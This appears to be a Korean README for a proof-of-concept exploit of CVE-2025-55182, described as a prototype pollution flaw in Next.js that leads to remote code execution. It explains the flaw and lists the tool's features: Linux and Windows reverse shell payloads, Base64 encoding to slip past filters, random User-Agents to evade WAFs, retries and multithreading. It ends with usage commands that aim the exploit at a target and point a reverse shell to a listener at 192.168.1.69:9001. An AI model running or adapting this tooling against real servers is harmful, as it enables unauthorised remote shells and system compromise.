
CVE-2025-55182용 PoC
CVE-2025-55182는 nextjs의 치명적인 프로토타입 폴루션(Prototype Pollution) 취약점으로, 프레임워크의 요청 처리 메커니즘에서 입력값을 제대로 검증하지 않아 RCE(원격 코드 실행)를 허용합니다. 이 모든 사태는 nextjs가 풋내기처럼 JSON 객체를 무턱대고 신뢰하기 때문에 벌어집니다.
1) 요청 파싱에서의 프로토타입 폴루션: nextjs는 프로토타입 체인을 오염시킬 수 있는 객체를 제대로 검증하지 않습니다.
2) 안전하지 않은 역직렬화: 프레임워크가 JSON 객체로 기본 객체 프로토타입을 수정하도록 허용합니다.
3) 프로토타입 체인 오염을 통한 child_process 기반 RCE: 프로토타입이 오염되면 로직을 가로채 서버가 임의의 코드를 실행하도록 만들 수 있습니다.
npm create [email protected] vuln
1) 리버스 셸 페이로드: Linux/Win 리버스 셸
2) 필터를 몰래 우회하기 위한 Base64 인코딩
3) 자동 OS 감지
4) WAF를 회피하기 위한 랜덤 User-Agent
5) 실패 시 지수 백오프(Exponential Backoff)로 재시도하는 재시도 루프
6) 안정성을 위한 동시 공격 시도의 멀티스레딩
python exp_v2.py target 192.168.1.69 9001 --base64
python exploit.py target 192.168.1.69 9001 --retries 5 --threads 3
python exploit.py target.com 192.168.1.69 9001 --no-spoof